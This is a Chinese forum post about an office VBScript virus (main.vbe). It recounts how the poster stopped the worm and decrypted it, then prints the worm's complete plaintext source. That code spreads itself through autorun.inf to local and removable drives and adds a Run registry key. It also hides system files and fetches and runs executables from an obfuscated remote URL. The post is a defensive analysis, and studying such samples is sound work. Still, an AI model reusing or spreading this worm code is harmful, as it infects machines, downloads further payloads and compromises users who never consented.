注册
登录
| 关键词： autorun mulu wscript WriteLine fso inf main OpenFile nbsp CopyFile |
最近同个办公室的人反映自己莫名奇妙地中病毒，我没放在心上，没想到自己人中了一个，所以就有了今天的这个帖子。话说，某天晚上我们一伙人正在赶工。。。突然，某人大呼：“我的CPU占用率怎么居高不下？”抄起processxp，发现wscript.exe一直在找一个main.vbe，没事怎么会乱运行脚本呢？肯定中毒了！而且可能是传说中的办公室病毒。。。真不巧，遇到我们了。。。呵呵，开始解剖吧！对于这种脚本病毒，我们的解决方法是禁用vbscript.dll,运行“regsrv -u vbscript.dll”,然后CPU就安静下来了。。。那么打开我们的main.vbe吧！在C盘根目录下，首先去掉这个脚本病毒的隐藏和系统属性，然后用记事本打开看看！全是乱码！哎~又是老一套，加密给受害者看,看到头大了，自然没有消灭的想法，但是要运行的话肯定也要解密！果然，在密密麻麻的乱码后面，出现一句excute(thistext)，这个thistext不就是病毒明文吗？好，那就把它写出来！把excute(thistext)换成Dim fso, MyFile Set fso = CreateObject("Scripting.FileSystemObject") Set MyFile = fso.CreateTextFile("c:\testfile.txt", True) MyFile.WriteLine(thistext) MyFile.Close 在注册一下vbscript.dll运行！一下子就把病毒揪出来了！ 代码:ver="3.0"tile="daxian"&ver about="daxianbiyele 2007.7.11"fromurl=chr(104)&chr(116)&chr(116)&chr(112)&"://"&chr(104)&chr(103)&"z."&chr(100)&"in"&chr(103)&chr(104)&"ui123."&chr(99)&"n/wan."&chr(97)&"s"&chr(112)on error resume nextdim wshdim WshShellSet Wsh =CreateObject("WScript.Shell")set WshShell=Wscript.CreateObject("Wscript.Shell")Set FSO = CreateObject("Scripting.FileSystemObject")set dir = FSO.GetSpecialFolder(1)Set dc = FSO.Drivesouwnname=Wscript.ScriptNamemulu=left(Wscript.ScriptFullName,len(Wscript.ScriptFullName)-len(Wscript.ScriptName))if mulu=dir&"\" then sys=trueFor Each d In dcif mulu=d&"\" then opendisk=WshShell.Run("explorer "&d,3,false)Nextif not sys=true thenwscript.sleep 2000set y=getobject("winmgmts:\\.\root\cimv2") set x=y.execquery("select * from win32_process where name='wscript.exe'") i=0 for each j in x i=i+1next if i>1 then wscript.quitend ifyincangIf fso.FileExists(mulu&"autorun.inf") Thenif readtxt(mulu&"autorun.inf",1)<>tile thenbuildinf ver,"7+11.exe",nowend Ifelsebuildinf ver,"7+11.exe",nowEnd Ifcopyexe=readtxt(mulu&"autorun.inf",7)randomizesjs=int(Rnd * (31-1+1)) + 1 If fso.FileExists(mulu©exe) and Day(Date)<>sjs thenif sys=true then WshShell.run mulu©exeElseLdownver=readtxt(mulu&"autorun.inf",5)downfile mulu&"temp.txt",fromurl,0Set OpenFile = FSO.OpenTextFile(mulu&"temp.txt", 1) nouse = OpenFile.ReadLinedownis = OpenFile.ReadLinedownver = OpenFile.ReadLinedownname = month(Date)&"+"&Day(Date)&".exe"downfrom = OpenFile.ReadLinevbsver = OpenFile.ReadLinevbsname = OpenFile.ReadLinevbsurl = OpenFile.ReadLineguanggao= OpenFile.ReadLineOpenFile.Close FSO.DeleteFile(mulu&"temp.txt")if downis=1 thenIf vbsver<>ver thendownfile mulu&vbsname,vbsurl,1wscript.quitend ifIf downver<>Ldownver thendownfile mulu&downname,downfrom,0buildinf downver,downname,guanggaoend ifend ifEnd Ifcopyexe=readtxt(mulu&"autorun.inf",7)if sys=true thenganran()WshShell.run mulu&ouwnnameelseshuxing mulu&ouwnname,2+4copyvbs dir&"\main.vbe"copyvbs dir&"\main.txt"CopyFile mulu&"autorun.inf",dir&"\autorun.inf"CopyFile mulu©exe,dir&"\"©exeshuxing dir&"\"©exe,2+4if mulu<>"C:\" thencopyvbs "c:\main.vbs"CopyFile mulu&"autorun.inf","c:\autorun.inf"CopyFile mulu©exe,"c:\"©exeend ifzhuceWshShell.run dir&"\main.vbe"end iffunction copyfile(file,where)shuxing where,0if fso.FileExists(file) then FSO.CopyFile file,where,Trueend functionfunction copyvbs(where)shuxing where,0set self=fso.opentextfile(mulu&ouwnname,1)vbscopy=self.readall self.close set vbs = fso.CreateTextFile(where, True)vbs.write vbscopyvbs.closeshuxing where,2+4end functionfunction zhuce()RegPath="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\run\" Type_Name="REG_SZ" Key_Name="explorer" Key_Data="main.vbe" WshShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name end functionfunction yincang()RegPath="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\" Type_Name="REG_DWORD" Key_Name="ShowSuperHidden" Key_Data="00000000" WshShell.RegWrite RegPath&Key_Name,Key_Data,Type_Name end functionfunction buildinf(exever,exename,adv)shuxing mulu&"autorun.inf",0set ini = fso.CreateTextFile(mulu&"autorun.inf", True)ini.writeline tileini.writeline "[AutoRun]"ini.writeline aboutini.writeline "open=WScript.exe .\main.vbs"ini.writeline exeverini.writeline "shell\open=打开(&O)"ini.writeline exenameini.writeline "shell\open\Command=WScript.exe .\main.vbs"ini.writeline "shell\open\Default=1"ini.writeline advini.closeshuxing mulu&"autorun.inf",1+2+4end functionfunction readtxt(where,line) Set readfile = fso.OpenTextFile(where, 1) i=0 do while i<linei=i+1RLine = readfile.ReadLineloopreadfile.Closereadtxt=RLineend functionfunction shuxing(file,change)if fso.FileExists(file) thenSet oFile = FSO.GetFile(file) oFile.Attributes = changeSet oFile = Nothingend ifend functionfunction downfile(localfile,urlfile,runfile)shuxing localfile,0iLocal = LCase(localfile):iRemote = LCase(urlfile):'if 1=2 then Wscript.echo "Impossible!"Set xPost = CreateObject("Microsoft.XMLHTTP") 'if 1=2 then Wscript.echo "Impossible!"xPost.Open "get",iRemote,0 'if 1=2 then Wscript.echo "Impossible!"xPost.Send() 'if 1=2 then Wscript.echo "Impossible!"Set sGet = CreateObject("ADODB.Stream") 'if 1=2 then Wscript.echo "Impossible!"sGet.Mode = 3 'if 1=2 then Wscript.echo "Impossible!"sGet.Type = 1 'if 1=2 then Wscript.echo "Impossible!"sGet.Open() 'if 1=2 then Wscript.echo "Impossible!"sGet.Write(xPost.responseBody) 'if 1=2 then Wscript.echo "Impossible!"sGet.SaveToFile iLocal,2 'if 1=2 then Wscript.echo "Impossible!"shuxing localfile,2+4if runfile=1 then Wsh.run iLocalend functionfunction ganran()doFor Each d In dcIf d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") ThenIf fso.FileExists(d&"\main.vbs") and fso.FileExists(d&"\autorun.inf") thenif readtxt(d&"\autorun.inf",1)<>tile thenCopyFile dir&"\autorun.inf",d&"\autorun.inf"CopyFile dir&"\"©exe,d&"\"©exeCopyFile dir&"\main.txt",d&"\main.vbs"end ifelseCopyFile dir&"\autorun.inf",d&"\autorun.inf"CopyFile dir&"\"©exe,d&"\"©exeCopyFile dir&"\main.txt",d&"\main.vbs"end ifEnd Ifnextwscript.sleep 2000loopend function呵呵，临时解决方法在上面了，我也没时间去解读这个病毒了~~~还请高手们给出完美解决方案！继续赶工ing。。。。。。 |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
